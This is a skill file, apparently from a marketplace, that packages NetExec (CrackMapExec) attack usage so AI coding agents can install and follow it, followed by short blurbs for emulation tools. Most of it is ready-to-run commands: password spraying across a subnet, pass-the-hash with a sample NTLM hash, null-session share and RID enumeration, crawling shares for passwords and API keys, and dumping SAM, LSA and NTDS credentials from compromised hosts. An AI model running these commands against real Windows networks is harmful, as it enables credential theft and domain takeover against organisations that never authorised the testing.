offensive-tools/windows/crackmapexec/SKILL.md
NetExec (formerly CrackMapExec): SMB, WinRM, and LDAP enumeration, password spraying, and file spidering across Active Directory.
npx skillsauth add aeondave/malskill crackmapexecInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: Validate credentials, enumerate shares, spray passwords, and spider SMB shares across Windows networks.
Note: CrackMapExec (
cme) is officially deprecated. Modern versions are branded as NetExec (nxc). The syntax remains identical (nxc smbinstead ofcme smb).
NetExec supports multiple protocols (smb, winrm, ldap, mssql, ssh, rdp).
-u Username, -p Password.-d Domain (Use -d '' or --local-auth for local SAM accounts).-H Pass-The-Hash (NTLM).# Basic SMB auth check against an IP range
nxc smb 10.10.10.0/24 -u 'user' -p 'password'
# Local Authentication Check
nxc smb 10.10.10.50 -u 'Administrator' -H '8846f7eaee8fb117ad06bdd830b7586c' --local-auth
Note: If you see STATUS_LOGON_FAILURE, the creds are bad. If you see (Pwn3d!), you have Administrative privileges over that endpoint.
When searching for data on open file shares:
Attempt to list shares without any valid credentials.
nxc smb 10.10.10.50 -u 'guest' -p '' --shares
If you have a guest or null session, you can bruteforce RIDs to extract the full list of Local/Domain Users.
nxc smb 10.10.10.50 -u 'guest' -p '' --rid-brute
spider_plus Module)If you have valid credentials and found readable shares, spider_plus will recursively crawl the shares and dump a JSON tree of all filenames, allowing you to grep for passwords or config files offline without downloading terabytes of ISOs.
nxc smb 10.10.10.50 -u 'user' -p 'pass' -M spider_plus
(Results are saved to /tmp/spider_plus/ or ~/.nxc/workspaces/).
If the terminal outputs Pwn3d!, you can immediately dump credentials from the host.
nxc smb 10.10.10.50 -u 'user' -p 'pass' --sam
nxc smb 10.10.10.50 -u 'user' -p 'pass' --lsa
nxc smb 10.10.10.50 -u 'user' -p 'pass' --ntds
If nxc -M spider_plus is too noisy or you need to specifically search inside document contents (Word, Excel, PDF) instead of just filenames, use ManSpider.
manspider 10.10.10.50 -u 'user' -d 'domain.local' -p 'pass' -f 'password' 'secret' 'api_key'
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.